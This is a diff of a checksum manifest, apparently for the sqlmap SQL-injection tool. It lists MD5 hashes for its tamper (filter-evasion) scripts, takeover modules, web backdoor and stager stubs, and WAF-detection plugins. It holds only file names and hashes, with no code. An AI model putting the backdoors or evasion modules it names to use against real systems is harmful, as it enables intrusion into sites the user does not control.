-d496b8abd40ea1a86c771d9d20174f61 tamper/equaltolike.py -fb3c31b72675f6ef27fa420a4e974a55 tamper/escapequotes.py -9efcdbfd3012d3c84ee67e87550d8432 tamper/greatest.py -b3df54fef913223b4f4fd90aa122870f tamper/halfversionedmorekeywords.py -a3a0e76922b4f40f422a0daca4e71af3 tamper/htmlencode.py -6fa2d48bf8a1020a07d1cb95a14688a8 tamper/ifnull2ifisnull.py -8f1626a68b060162023e67b4a4cd9295 tamper/informationschemacomment.py -310efc965c862cfbd7b0da5150a5ad36 tamper/__init__.py -8b9ed7d7d9c8197f34b9d8e36323b60e tamper/lowercase.py -377bffa19f0b7ca0616fcea2681db827 tamper/modsecurityversioned.py -14a2c4ea49661056a7a6077f91fbc2ed tamper/modsecurityzeroversioned.py -34bbd01283f81184f0692bed236c7511 tamper/multiplespaces.py -54e1793f30c755202ee1acaacfac45fb tamper/nonrecursivereplacement.py -00ba60e5869055aaa7ba0cd23b5ed1f4 tamper/overlongutf8.py -3cadacb0f39de03e0f8612c656104e03 tamper/percentage.py -7805efc7af932c2ab452f41967f9eb7b tamper/plus2concat.py -24753ed4e8ceab6f1a1fc13ee621943b tamper/randomcase.py -4d5fdfe77668fa44967e1d44f8a50ce7 tamper/randomcomments.py -22561b429f41fc0bdd23e36b9a8de9e5 tamper/securesphere.py -a8a0e2150de7c7dc473f74474db857ad tamper/space2comment.py -8728a16a1ae0603c6d835162cc03ab96 tamper/space2dash.py -6cc1afaeb47723886e492454e75d7b7f tamper/space2hash.py -507a174c64345df8df003ddba93c8cd1 tamper/space2morehash.py -0ce89b0d602abbd64344ab038be8acbc tamper/space2mssqlblank.py -fa66af20648b5538289748abe7a08fe6 tamper/space2mssqlhash.py -ca7597ba264ec731b8a73e9cad5334eb tamper/space2mysqlblank.py -038b8ea90f9a3a45b9bc67fcdff38511 tamper/space2mysqldash.py -5665c217ef8998bfd18f9ef1d8c617bd tamper/space2plus.py -a30fa43203d960c7a9d8709bf24ca401 tamper/space2randomblank.py -e3c95a5325f12ac522aa9a1cd0489e9a tamper/sp_password.py -b0b0b4c8c7bd259b42e8a122f7563668 tamper/symboliclogical.py -af9d948b4c861df0418355734418bcdc tamper/unionalltounion.py -35764285e492ce0d596420d753c6edc3 tamper/unmagicquotes.py -0c07061ba706e05950e1fbffe8936d1f tamper/uppercase.py -3bc8eb3134439ce8860ecdd4c390070e tamper/varnish.py -6acf85cf9ec6954d11dc220956cc27de tamper/versionedkeywords.py -549fb1adbbe75beaf9fc55d1bfc59f90 tamper/versionedmorekeywords.py -3e4cd8e103340819512786d5bfaec92e tamper/xforwardedfor.py +220745c50d375dad7aefebf8ca3611ef extra/shutils/duplicates.py +71b9d4357c31db013ecda27433830090 extra/shutils/pylint.py +c88d66597f4aab719bde4542b0a1a6e0 extra/shutils/regressiontest.py +1e5532ede194ac9c083891c2f02bca93 extra/sqlharvest/__init__.py +b3e60ea4e18a65c48515d04aab28ff68 extra/sqlharvest/sqlharvest.py +0f581182871148b0456a691ae85b04c0 lib/controller/action.py +43cbf0f72f57279c6f65d531241e962c lib/controller/checks.py +ccd66880fc677a3c83db2a3a70d196d7 lib/controller/controller.py +a7b0c8e5a18a3abe8803999dcfc4664f lib/controller/handler.py +1e5532ede194ac9c083891c2f02bca93 lib/controller/__init__.py +e3a3f5218b2e52dd0afafdfc9fed2002 lib/core/agent.py +62fade52c1524364e6e0653c31143a9c lib/core/bigarray.py +787f1b610fec311c8ed26a1a36993fae lib/core/common.py +2a40d5b5997265daa890545d4a4a59b9 lib/core/convert.py +9f87391b6a3395f7f50830b391264f27 lib/core/data.py +72016ea5c994a711a262fd64572a0fcd lib/core/datatype.py +12e80071013606f01822c3823fb51054 lib/core/decorators.py +9458679feb9184f3fb1611daf1ebef63 lib/core/defaults.py +a8bea09096a42a9a7feeb9d4d118ae66 lib/core/dicts.py +1a94690d60ed792ce441b6f2f4dbbef8 lib/core/dump.py +2ef745b04933855e049ba7fdc98f57b8 lib/core/enums.py +cada93357a7321655927fc9625b3bfec lib/core/exception.py +1e5532ede194ac9c083891c2f02bca93 lib/core/__init__.py +458a194764805cd8312c14ecd4be4d1e lib/core/log.py +9eed2d4d370f375bda5e0c0488740e7f lib/core/optiondict.py +8ca14b6faf28d2e5a2703ed5e7d6cce2 lib/core/option.py +7dadbb9a301d40cc8cd9c7491e99b43d lib/core/profiling.py +ffa5f01f39b17c8d73423acca6cfe86a lib/core/readlineng.py +0c3eef46bdbf87e29a3f95f90240d192 lib/core/replication.py +a7db43859b61569b601b97f187dd31c5 lib/core/revision.py +fcb74fcc9577523524659ec49e2e964b lib/core/session.py +e5967d7d5119cf82bb78949a40fa0486 lib/core/settings.py +d0adc28a38e43a787df4471f7f027413 lib/core/shell.py +63491be462c515a1a3880c27c2acc4a2 lib/core/subprocessng.py +505aaa61e1bba3c3d4567c3e667699e3 lib/core/target.py +72d499ca8d792e90a1ebfb2ad2341a51 lib/core/testing.py +de9922a29c71a235cb95a916ff925db2 lib/core/threads.py +c40758411bb0bd68764d78e0bb72bd0f lib/core/unescaper.py +35a1b50e3687e1a174073b46c8022c81 lib/core/update.py +fc624104ddb36d41794b7a943fde5f21 lib/core/wordlist.py +1e5532ede194ac9c083891c2f02bca93 lib/__init__.py +7620f1f4b8791e13c7184c06b5421754 lib/parse/banner.py +a6912de35b7184e2e8b1fe2510c0c333 lib/parse/cmdline.py +fb2e2f05dde98caeac6ccf3e67192177 lib/parse/configfile.py +3794ff139869f5ae8e81cfdbe5714f56 lib/parse/handler.py +263ee1cec41facd2a06d0dc887b207ad lib/parse/headers.py +33f21b11b7963062df8fa2292229df80 lib/parse/html.py +1e5532ede194ac9c083891c2f02bca93 lib/parse/__init__.py +307d4001682f38dd574548d98c0f1c3e lib/parse/payloads.py +38563853a32dd677ce6c65a0945d7227 lib/parse/sitemap.py +4e60fe7c94bbfa631087ed3426df8ef0 lib/request/basicauthhandler.py +054a83429e2538293175d6a7242f2e63 lib/request/basic.py +c0cabedead14b8a23353b606672cff42 lib/request/comparison.py +a38e09038468387b20e978ce1b885018 lib/request/connect.py +dd4598675027fae99f2e2475b05986da lib/request/direct.py +2044fce3f4ffa268fcfaaf63241b1e64 lib/request/dns.py +a1436e4e4f9b636cb8332f00b686bfd5 lib/request/httpshandler.py +1e5532ede194ac9c083891c2f02bca93 lib/request/__init__.py +bee0a8bec4968406e93281d2b8ad62c8 lib/request/inject.py +aaf956c1e9855836c3f372e29d481393 lib/request/methodrequest.py +51eeaa8abf5ba62aaaade66d46ff8b00 lib/request/pkihandler.py +aa7cb67139bbc57d67a728fd2abf80ed lib/request/rangehandler.py +aa809d825b33bea76a63ecd97cf7792c lib/request/redirecthandler.py +bbfe91128ab3ad65343ed449936a890b lib/request/templates.py +edfd88ee82c2b2a0a762dad1f4eb5253 lib/takeover/abstraction.py +acc1db3667bf910b809eb279b60595eb lib/takeover/icmpsh.py +1e5532ede194ac9c083891c2f02bca93 lib/takeover/__init__.py +703e15714316a8cc4bbe54cdd0a8cb87 lib/takeover/metasploit.py +0fc9b00596df21c8878ef92f513ecad7 lib/takeover/registry.py +48575dde7bb867b7937769f569a98309 lib/takeover/udf.py +1398cb4ee55becf628367854b5310f33 lib/takeover/web.py +d8c10f278e5943b137a222f4cedca59d lib/takeover/xp_cmdshell.py +f6844893afa7569052529e1c8d89bc35 lib/techniques/blind/inference.py +1e5532ede194ac9c083891c2f02bca93 lib/techniques/blind/__init__.py +1e5532ede194ac9c083891c2f02bca93 lib/techniques/dns/__init__.py +855355a1a216f6b267a5f089028f1cd8 lib/techniques/dns/test.py +733f3419ff2ea23f75bc24e36f4746d9 lib/techniques/dns/use.py +1e5532ede194ac9c083891c2f02bca93 lib/techniques/error/__init__.py +627ddc86a5a969e5509c7531c5c27a6c lib/techniques/error/use.py +1e5532ede194ac9c083891c2f02bca93 lib/techniques/__init__.py +1e5532ede194ac9c083891c2f02bca93 lib/techniques/union/__init__.py +c497003ecf231d03a311a816a6b3b753 lib/techniques/union/test.py +6c3c4c7d43ad75e61a73184323a81eac lib/techniques/union/use.py +918d6f34c415c578c2eae8730f555ae8 lib/utils/api.py +37dfb641358669f62c2acedff241348b lib/utils/brute.py +a34c4fd2e7d78c5dfdd9eeccb079fb1c lib/utils/crawler.py +985c737cd8a6a722160c55cf5ee224f4 lib/utils/deps.py +a6d6888e14a7c11f0884c8cc18489caa lib/utils/getch.py +7af29f61302c8693cd6436d4b69e22d3 lib/utils/har.py +9bd8fbfb9c25ee685c97b260331e7165 lib/utils/hashdb.py +578007a75d75a2e510a9ec33f01eeeb0 lib/utils/hash.py +145120b21fcfca843d5e2c8b0562e4db lib/utils/htmlentities.py +1e5532ede194ac9c083891c2f02bca93 lib/utils/__init__.py +010d8327239d33af4ce9f25683cfc012 lib/utils/pivotdumptable.py +5d6d73d27833eef1b10b9215629533ff lib/utils/progress.py +0ec5cec9d93d5ffd1eaeda6e942ecadf lib/utils/purge.py +4a6886d3a0c7bf768df97738fa257de9 lib/utils/search.py +3abe64e696ad75ad28cadf2695a58be8 lib/utils/sqlalchemy.py +dcc25183c6bd85b172c87cfcbc305ab6 lib/utils/timeout.py +e426eae9ddf6a42bcb6b7355e2c2936f lib/utils/versioncheck.py +1e9cf437451ff8147a372a002641b963 lib/utils/xrange.py +b9d2761f47fec3d98b88311a263fd5db plugins/dbms/access/connector.py +3f1c50a1507d1c2f69c20c706230e2e2 plugins/dbms/access/enumeration.py +fcc66fc377db3681f7890ec55675564b plugins/dbms/access/filesystem.py +47a9c7a39ad179b73a9d6f0e1f269f74 plugins/dbms/access/fingerprint.py +e657b1b7a295a38ac9ce515158164f00 plugins/dbms/access/__init__.py +77686d7c7e287d5db0a9a87f2c7d4902 plugins/dbms/access/syntax.py +2f1d8706b51497623b2b59c07b552bdc plugins/dbms/access/takeover.py +0cf941076f4685ec8ac63f57b31a46a6 plugins/dbms/db2/connector.py +0884e475c98701f8e698150aa122fb76 plugins/dbms/db2/enumeration.py +da9dccd1f9ec2cf1e53295125dd983a0 plugins/dbms/db2/filesystem.py +a660e74854f3c70606f1cc3bc450fbcc plugins/dbms/db2/fingerprint.py +95b35cbd859bbced44e7f8fd84486d75 plugins/dbms/db2/__init__.py +82d96d8fcfd565129580260040555623 plugins/dbms/db2/syntax.py +25f0fb28e9defcab48a2e946fbb7550a plugins/dbms/db2/takeover.py +4a941e7f39dc098ee489eeacc720a8cc plugins/dbms/firebird/connector.py +bc4d71116d7296d63894484f2e60ade2 plugins/dbms/firebird/enumeration.py +c3ca81000200e5ab4210e9bf2e04ce93 plugins/dbms/firebird/filesystem.py +94a86678fd2bf6bff6c3439934f59277 plugins/dbms/firebird/fingerprint.py +d4ea3036492b8ae15340548b2936021f plugins/dbms/firebird/__init__.py +c56f2dabe88fd761a1a9a51e4d104088 plugins/dbms/firebird/syntax.py +1522a29bd4b54ea78bb2855fc32b6c72 plugins/dbms/firebird/takeover.py +61225f674e64bc6eafea140c4cf93deb plugins/dbms/hsqldb/connector.py +95919592e5bb83df00b99bb9e8a70977 plugins/dbms/hsqldb/enumeration.py +616595e74ecb644271cbbd31815d92e0 plugins/dbms/hsqldb/filesystem.py +b207e728934f768732852c1928c38483 plugins/dbms/hsqldb/fingerprint.py +fd369161778d6b48d7f1f7fc14dcdb5c plugins/dbms/hsqldb/__init__.py +4673ebfdce9859718c19e8a7765da8d3 plugins/dbms/hsqldb/syntax.py +7c0535736215ca612756cf589adb249b plugins/dbms/hsqldb/takeover.py +5fca2136204e0ea432cc7a2572244a20 plugins/dbms/informix/connector.py +c54d70e4847c6327bd3110c4d8723b04 plugins/dbms/informix/enumeration.py +da9dccd1f9ec2cf1e53295125dd983a0 plugins/dbms/informix/filesystem.py +35eac2f3837a72940eb50753dc4566e5 plugins/dbms/informix/fingerprint.py +9dac94c8f76acf0be65b6c57ecdb5c34 plugins/dbms/informix/__init__.py +39dc5c088b4d37742290acc76c47fe94 plugins/dbms/informix/syntax.py +25f0fb28e9defcab48a2e946fbb7550a plugins/dbms/informix/takeover.py +1e5532ede194ac9c083891c2f02bca93 plugins/dbms/__init__.py +6917f9b045f6188b89e816dea9b46a3f plugins/dbms/maxdb/connector.py +b2df2dfaa44659ac02df396fb2174d23 plugins/dbms/maxdb/enumeration.py +ffd26f64142226d0b1ed1d70f7f294c0 plugins/dbms/maxdb/filesystem.py +9f9f1c4c4c3150545c4b61d1cffc76a8 plugins/dbms/maxdb/fingerprint.py +4321d7018f5121343460ebfd83bb69be plugins/dbms/maxdb/__init__.py +e7d44671ae26c0bcd5fe8448be070bbd plugins/dbms/maxdb/syntax.py +bf7842bb291e2297c3c8d1023eb3e550 plugins/dbms/maxdb/takeover.py +6439d15c1e8cdb069056c4fa725326df plugins/dbms/mssqlserver/connector.py +fdc3cc66d0d35f6ebee0dd625a87f4e9 plugins/dbms/mssqlserver/enumeration.py +7e495d786fa8e1da96e73e2905bbd7dd plugins/dbms/mssqlserver/filesystem.py +03d463c15ebbfa4e49155b261b59db31 plugins/dbms/mssqlserver/fingerprint.py +affef90b1442285da7e89e46603c502e plugins/dbms/mssqlserver/__init__.py +612be1929108e7b4512a49a4a3837bbc plugins/dbms/mssqlserver/syntax.py +b9e62a80bd3ead133a511f9769e5e6c3 plugins/dbms/mssqlserver/takeover.py +f6e1f3f09f32b9cb2ca11c016d373423 plugins/dbms/mysql/connector.py +445164daf59b890aeacc968af58fcb53 plugins/dbms/mysql/enumeration.py +d6836e2a6a308eb3536e2e7fc74fdc8b plugins/dbms/mysql/filesystem.py +2bfd2369aebe2999f7333cca0895507c plugins/dbms/mysql/fingerprint.py +88b876f085fec2569a0697f4b69f41da plugins/dbms/mysql/__init__.py +0e2adbee217f5b94dcc124d24b8dde99 plugins/dbms/mysql/syntax.py +f30009816db6a0b41342301f0d657a01 plugins/dbms/mysql/takeover.py +9a50b600d65d178b374d19775d1f95e4 plugins/dbms/oracle/connector.py +e1ffee36fd18f33f34bb4bac4ae43f14 plugins/dbms/oracle/enumeration.py +c326b0d8bed92be67888b0242f565ac8 plugins/dbms/oracle/filesystem.py +e16cbf8abda91a906ca7bafb81d8866e plugins/dbms/oracle/fingerprint.py +9cbce3d3747c67f18e65f9c1eb910b0e plugins/dbms/oracle/__init__.py +5c2f1611c3ceface38a7e95650391ae6 plugins/dbms/oracle/syntax.py +bcdbd9c04d7d5a911e0e31abe1a24f0f plugins/dbms/oracle/takeover.py +f99c23db4ee6a6b8c0edbf684d360ad3 plugins/dbms/postgresql/connector.py +7cdb821884e5f15084d1bea7f8a50574 plugins/dbms/postgresql/enumeration.py +c8bb829d45752b98e6a03817b92e0fe5 plugins/dbms/postgresql/filesystem.py +603d533d924498378eccba4f0f196be6 plugins/dbms/postgresql/fingerprint.py +4fe6dcf2b43b6dac46f31d75e9de260d plugins/dbms/postgresql/__init__.py +c8c2d660977e3e07182e7cdf31aa786a plugins/dbms/postgresql/syntax.py +1287acf330da86a93c8e64aff46e3b65 plugins/dbms/postgresql/takeover.py +3009438ba259ca159c5ce9799f27dec1 plugins/dbms/sqlite/connector.py +5194556e6b1575b1349f8ccfd773952b plugins/dbms/sqlite/enumeration.py +90fa97b84998a01dba7cc8c3329a1223 plugins/dbms/sqlite/filesystem.py +ed52c198f3346ceabdef676e9f5d3c0f plugins/dbms/sqlite/fingerprint.py +f639120d42b33b6ca67930bddbf2ac1f plugins/dbms/sqlite/__init__.py +964e59d2eba619b068b0a15cea28efe0 plugins/dbms/sqlite/syntax.py +3364b2938d7040c507cd622c323557dc plugins/dbms/sqlite/takeover.py +6439d15c1e8cdb069056c4fa725326df plugins/dbms/sybase/connector.py +006b647e955d7638687d16e047e9c587 plugins/dbms/sybase/enumeration.py +74de450dd6d6d006aa9c7eed56e6b09a plugins/dbms/sybase/filesystem.py +c8ee0deaa2309e96d9a409ff1524f3ad plugins/dbms/sybase/fingerprint.py +a3db8618eed5bb2807b6f77605cba9cc plugins/dbms/sybase/__init__.py +36acb9a5966af21b32e8558b0d50653d plugins/dbms/sybase/syntax.py +79f6c7017db4ded8f74a0117188836ff plugins/dbms/sybase/takeover.py +34d181a7086d6dfc7e72ae5f8a4cfe0f plugins/generic/connector.py +e6cd1c5a5244d83396b401f7db43d323 plugins/generic/custom.py +315a3ced9667065b24de040af296037a plugins/generic/databases.py +b1bd764e8f417222ebb1890232290679 plugins/generic/entries.py +d82f2c78c1d4d7c6487e94fd3a68a908 plugins/generic/enumeration.py +ea0f3b9085061b272bfd98c13ad2d977 plugins/generic/filesystem.py +f5d5419efddfe04648ea5e953c650793 plugins/generic/fingerprint.py +1e5532ede194ac9c083891c2f02bca93 plugins/generic/__init__.py +f7874230e5661910d5fd21544c7d1022 plugins/generic/misc.py +8995e814cb8e854bd77534f687535014 plugins/generic/search.py +a70cc0ada4b0cc9e7df23cb6d48a4a0c plugins/generic/syntax.py +e522c294676ede15bee751107e9bb449 plugins/generic/takeover.py +4419b13a4b78d7e9e4a2632302344a1a plugins/generic/users.py +1e5532ede194ac9c083891c2f02bca93 plugins/__init__.py +b04db3e861edde1f9dd0a3850d5b96c8 shell/backdoors/backdoor.asp_ +158bfa168128393dde8d6ed11fe9a1b8 shell/backdoors/backdoor.aspx_ +1add5a9a67539e7fd1999c8c20a69d15 shell/backdoors/backdoor.jsp_ +09fc3ed6543f4d1885e338b271e5e97a shell/backdoors/backdoor.php_ +0e7aba05423c272f051f31165b0e416d shell/stagers/stager.asp_ +c3cc8b7727161e64ab59f312c33b541a shell/stagers/stager.aspx_ +1f7f125f30e0e800beb21e2ebbab18e1 shell/stagers/stager.jsp_ +01e3505e796edf19aad6a996101c81c9 shell/stagers/stager.php_ +4eaeef94314956e4517e5310a28d579a sqlmapapi.py +1bef42b51e59db28d04181955c405931 sqlmap.py +4c3b8a7daa4bff52e01d4168be0eedbe tamper/apostrophemask.py +4115a55b8aba464723d645b7d3156b6e tamper/apostrophenullencode.py +4b1024cecb00f13a4e1be78391e9cedb tamper/appendnullbyte.py +84e6ad0010ed1d9a326d51b493116256 tamper/base64encode.py +55e9fbe57967e57a05a8ca77c312dc70 tamper/between.py +f942ad818d3e26ec34f0d15ca8b84207 tamper/bluecoat.py +e3cdf13caedb4682bee3ff8fac103606 tamper/chardoubleencode.py +3b2f68476fbcf8223199e8dd4ec14b64 tamper/charencode.py +b502023ac6c48e49e652ba524b8e18cc tamper/charunicodeencode.py +8bc697b143bba852b459806fcfaa5422 tamper/charunicodeescape.py +9e9719d822afab818d6a8a42351baa40 tamper/commalesslimit.py +7f0110c706aca9cd090c0371e6d1a4cb tamper/commalessmid.py +8070799415795bd6f23d11d02b99fbe9 tamper/commentbeforeparentheses.py +6498568524665729cb04a41c5f67f975 tamper/concat2concatws.py +dcdc433fe946f1b9005bcd427a951dd6 tamper/equaltolike.py +0a61e7b57ad593202b8449601e757f16 tamper/escapequotes.py +4393cc5220d2e39c5c9c5a9af4e2635d tamper/greatest.py +25ec62158d3e289bda8a04c8b65686ba tamper/halfversionedmorekeywords.py +9d8c350cbb90d4b21ec9c9db184a213a tamper/htmlencode.py +838212f289632526777b7224bf8aacf9 tamper/ifnull2casewhenisnull.py +e2c2b6a67546b36983a72f129a817ec0 tamper/ifnull2ifisnull.py +2416ff8e020fc2db29a580f55dcb6fb1 tamper/informationschemacomment.py +1e5532ede194ac9c083891c2f02bca93 tamper/__init__.py +2dc49bcd6c55f4e2322b07fa92685356 tamper/least.py +22a740e6fbcb8cc3ada430e3fb1be05f tamper/lowercase.py +e44163d21e055805b5e55667e72f5978 tamper/modsecurityversioned.py +f83a11d594fad3ed3291074c7b37b281 tamper/modsecurityzeroversioned.py +abd6490408551a8c8226a32fbc2b5345 tamper/multiplespaces.py +be757e4c9a6fb36af7b9a8c444fddb05 tamper/nonrecursivereplacement.py +aca15cb5474fb0a32e517ae5e940cbd0 tamper/overlongutf8.py +bc0363e4fc04240c9f7b81e4ecce0714 tamper/percentage.py +4fa8b6c0e7573e395330bb6a405abbaf tamper/plus2concat.py +5b947c6cd78eab22ee53f5f534c532d3 tamper/plus2fnconcat.py +44fd1c13a7dd6ae792f11afb28976480 tamper/randomcase.py +6368a971a80b1acbbbc6b76616bd96b9 tamper/randomcomments.py +48228322d40d97016b05e408c5234634 tamper/securesphere.py +cac8a56f8cc6c14524ee392daa5ae2fd tamper/space2comment.py +62d4d07b640d9d54d26ba33a77de9474 tamper/space2dash.py +ab91c20f71973b1a9a5fecfb9f2a1d1f tamper/space2hash.py +18f827afce8322adfa0c6dfbb4a59379 tamper/space2morecomment.py +59e61a9dd1f1e6b79fde026ed771cac4 tamper/space2morehash.py +ad45e799126d2d563b3958f714d2e7c6 tamper/space2mssqlblank.py +74334d72bffb99b0ac092f87f4da2675 tamper/space2mssqlhash.py +fd1bff6caefe5007444f7a0fabbc8ce9 tamper/space2mysqlblank.py +48a1f013657186e336d249adefbdbc7b tamper/space2mysqldash.py +36958b2a5f5915de8b7cc157a64b267a tamper/space2plus.py +6ce135f89259c379d84c85e538300091 tamper/space2randomblank.py +95c91853034d9e276a6570e4d01b5f74 tamper/sp_password.py +041cb567dff6bb6e7389e12ab3fb84c6 tamper/symboliclogical.py +6459c62914ae643799667de8bd283c97 tamper/unionalltounion.py +3b8182b8caef857b9af397e47d0c9938 tamper/unmagicquotes.py +371afb396f0bb18d97147c5db83354f4 tamper/uppercase.py +557ce5bf5ae9b7ab26f2c6b57312f41a tamper/varnish.py +929a2586dbb7b758a454eb09e13e5a73 tamper/versionedkeywords.py +3aff4d344ebd4f38e033e73b63f84447 tamper/versionedmorekeywords.py +ed1acafbac707bfa71c72f76b81c1bdd tamper/xforwardedfor.py 368165b45dadcdff4422bc010700832a thirdparty/ansistrm/ansistrm.py d41d8cd98f00b204e9800998ecf8427e thirdparty/ansistrm/__init__.py 8e775c25bc9e84891ad6fcb4f0005c23 thirdparty/beautifulsoup/beautifulsoup.py @@ -343,8 +349,6 @@ d41d8cd98f00b204e9800998ecf8427e thirdparty/multipart/__init__.py 08801ea0ba9ae22885275ef65d3ee9dc thirdparty/oset/_abc.py 54a861de0f08bb80c2e8846579ec83bd thirdparty/oset/__init__.py 179f0c584ef3fb39437bdb6e15d9c867 thirdparty/oset/pyoset.py -d24924d878e24946e83cfc1459f806af thirdparty/pagerank/__init__.py -7616693115d08f9b815a567515a0db56 thirdparty/pagerank/pagerank.py 94a4abc0fdac64ef0661b82aff68d791 thirdparty/prettyprint/__init__.py ff80a22ee858f5331b0c088efa98b3ff thirdparty/prettyprint/prettyprint.py 5c70f8e5f7353aedc6d8d21d4fb72b37 thirdparty/pydes/__init__.py @@ -381,81 +385,88 @@ a6b9c964f7c7d7012f8f434bbd84a041 udf/postgresql/windows/32/8.2/lib_postgresqlud d9006810684baf01ea33281d21522519 udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_ ca3ab78d6ed53b7f2c07ed2530d47efd udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ 0d3fe0293573a4453463a0fa5a081de1 udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_ -8d156720cd477324f52a2709cdef2b73 waf/360.py -ebaabcfe68d37826220976b0df388e5d waf/airlock.py -ce8daf839e6cc2f1892eadc69dbf6f68 waf/anquanbao.py -a0200fc79bae0ec597b98c82894562a5 waf/armor.py -d764bf3b9456a02a7f8a0149a93ff950 waf/aws.py -dbc89fc642074c6d17a04532e623f976 waf/baidu.py -e4e713cc4e5504eed0311fa62b05a6f9 waf/barracuda.py -8a6f2edc3ff9c031e2b58733ee76cfa0 waf/bigip.py -2adee01cbf513944cd3d281af1c05a86 waf/binarysec.py -db312318ee5309577917faca1cd2c077 waf/blockdos.py -520ef7b59340b96b4a43e7fdba760967 waf/ciscoacexml.py -2ac71a1335d94eb50df8b83a85ca6aa6 waf/cloudflare.py -6be50675945b547fac46ac10bb18f3a9 waf/cloudfront.py -ab6f6e3169cb43efcf5b6ed84b58252f waf/comodo.py -7e38e1df21eb1bad7f618d804d8ed5c2 waf/datapower.py -035396509b276886acc2ecd7271c3193 waf/denyall.py -7bde9f5ec27b41167d25a3a24853107b waf/dotdefender.py -e4b058d759198216d24f8fed6ef97be4 waf/edgecast.py -f633953970fb181b9ac5420a47e6a610 waf/expressionengine.py -f2295bb96025aeeca7e38661aef7c883 waf/fortiweb.py -ef151fbc34f16620958ba61dd415ae59 waf/generic.py -9126fc8101dee36c27866df731e2d841 waf/hyperguard.py -5b5382ccfb82ee6afdc1b47c8a4bce70 waf/incapsula.py -310efc965c862cfbd7b0da5150a5ad36 waf/__init__.py -5a364b68519a5872c4d60be11d2a23c1 waf/isaserver.py -8bfbae2b692538da0fb1a812330b2649 waf/jiasule.py -0b50798c12802bf98a850dd716b0d96d waf/knownsec.py -6d47157944211d758483ff8f97b810e8 waf/kona.py -4fed33de1ffb2214bc1baa9f925c3eb9 waf/modsecurity.py -fe690dfc4b2825c3682ceecef7ee9e6e waf/netcontinuum.py -bd55ed30291b31db63b761db472f41ea waf/netscaler.py -cbd497453509f144a71f8c05fd504453 waf/newdefend.py -5fd56089bb989d88895d1ae2d9e568c8 waf/nsfocus.py -a5f2a2e6a9f6cffb221d118fdb4d55b6 waf/paloalto.py -c2aaafefd7ec2f5f7c82e01cfca9b7cf waf/profense.py -8295574b961a1b0fe568ca175af4c25e waf/proventia.py -e2c3ad944c40f5242c82bd87ac37067d waf/radware.py -d4fbb2af37ad3ade3118668f2b516693 waf/requestvalidationmode.py -889c580463e285a4a2429a0551eb04b6 waf/safe3.py -479cb5726e5777e9d783bab4a14e2d18 waf/safedog.py -75273f96801632f1a69d085b82e1495d waf/secureiis.py -5564c9cae17eb8ba9f9f448a1cf454ce waf/senginx.py -145cbb97872e310a2a8696c0c46a64da waf/sitelock.py -95fd67cc8782dd1fae77c18ac5e0a801 waf/sonicwall.py -c1062e5c165cdaeca51113e60973afb2 waf/sophos.py -e909c359a9181e64271e6c7c8347fe15 waf/stingray.py -33f3bdac403519a1f96fb9015680c575 waf/sucuri.py -3de96df7edeae2f21ba7b9d77c90f4d6 waf/teros.py -d428df1e83a6fac9d8dbc90d6b5dab20 waf/trafficshield.py -385c84908b482c7f0fe93262ab5320fa waf/urlscan.py -69b4a4bd0ed85c582edb50a89efad5df waf/uspses.py -c92c441a0626d984fd3641d87486e182 waf/varnish.py -f3727ed5d1b5b06495233c413c8687a6 waf/wallarm.py -0721cc9ed02539367089861838ea1591 waf/webappsecure.py -3792fb08791f0f77fa5386f6e9374068 waf/webknight.py -76c50593f1fbb8d4e87ff4781688e728 waf/yundun.py -83a57aff89cf698b3e4aac9814a03e67 waf/yunsuo.py -2d53fdaca0d7b42edad5192661248d76 xml/banner/cookie.xml +336d0b0d2be333f5a6184042c85464fd waf/360.py +667cacdcd4ba650c9a436f081a79cd64 waf/airlock.py +003cc986b2f5899fe3c85b6309c4b556 waf/anquanbao.py +b61329e8f8bdbf5625f9520ec010af1f waf/armor.py +dec64f18c23962d279cc1cde6469afed waf/asm.py +6ea7b4ff5f111acb0b24186ef82c3f2d waf/aws.py +ef722d062564def381b1f96f5faadee3 waf/baidu.py +07bc4b531d2353c9acfbfcada94ff12b waf/barracuda.py +82efee4639f7be75041c0145a6bc8578 waf/bigip.py +6a2834daf767491d3331bd31e946d540 waf/binarysec.py +41e399dbfe7b904d5aacfb37d85e1fbf waf/blockdos.py +2f3bbf43be94d4e9ffe9f80e8483d62f waf/ciscoacexml.py +21b8203fdaaaac3cb7c84fa4dc0627f6 waf/cloudflare.py +b16b1c15532103346d5e2f5b8bd1ed36 waf/cloudfront.py +ac96f34c254951d301973617064eb1b5 waf/comodo.py +56d58c982c2cf775e0f8dc6767f336fd waf/datapower.py +1538b661e35843074f4599be93b3fae9 waf/denyall.py +aade02eb8f6a4a214a53db0fd0f2aae6 waf/dosarrest.py +357cbc0a17a44e4f64062b799c718e0b waf/dotdefender.py +ad20145a12cff50d49085ed06c8e422b waf/edgecast.py +954bebd4a246d8b88794de00ccaecd3b waf/expressionengine.py +a2ce6cde682f78e1fd561dc40611877e waf/fortiweb.py +eb56ac34775cc3c5f721ec967d04b283 waf/generic.py +1c70655551b8296ceeb19292a342e620 waf/hyperguard.py +525483047474e6f15d9898b525bdafd3 waf/incapsula.py +1e5532ede194ac9c083891c2f02bca93 waf/__init__.py +30ae98958fb35061d9a4145cc74c0489 waf/isaserver.py +5a5c9452b9779bf39c208ebe26c98fdb waf/jiasule.py +898f53c12133da3e946301f4aa97d538 waf/knownsec.py +81e6bf619c7bb73c4b62e2439e60e95a waf/kona.py +4906ab7bea7f6715f5796933f1a89381 waf/modsecurity.py +d09a50713daf3c0a2594ed4f50c57adb waf/naxsi.py +bf573d01d56e585f4ad57132bc594934 waf/netcontinuum.py +cb2f1516867684042f580e02138463de waf/netscaler.py +63b3cc819f432a32a403e24a00ab4d23 waf/newdefend.py +a925b2979c8e8aafb9e9a338ba4da6cf waf/nsfocus.py +ad7fe23004f8e0d02534c7baa877add3 waf/paloalto.py +856e34d47fedfe96039a6a7807f9605a waf/profense.py +166eb53544536e3e86223d513b8b688d waf/proventia.py +78a40eca7ddd14c4eaf911de7748b487 waf/radware.py +f5d53758d2008195609557112ce8e895 waf/requestvalidationmode.py +022956799ff08db1a39fe1484d949e54 waf/safe3.py +67cdf508e7b1f69ddf622a87e0e5e4e8 waf/safedog.py +d1b67820442199181815ec3fce27e582 waf/secureiis.py +34f0ec775835744bed601ef7c7a21c9d waf/senginx.py +1508a5200534b5273b66cecfd299e53e waf/sitelock.py +b088cf83c1a681d143e7eaea43f52b80 waf/sonicwall.py +4c412bc70007e6108d109e2911f2cefe waf/sophos.py +0e244e097a648158948dc8bb2351c781 waf/stingray.py 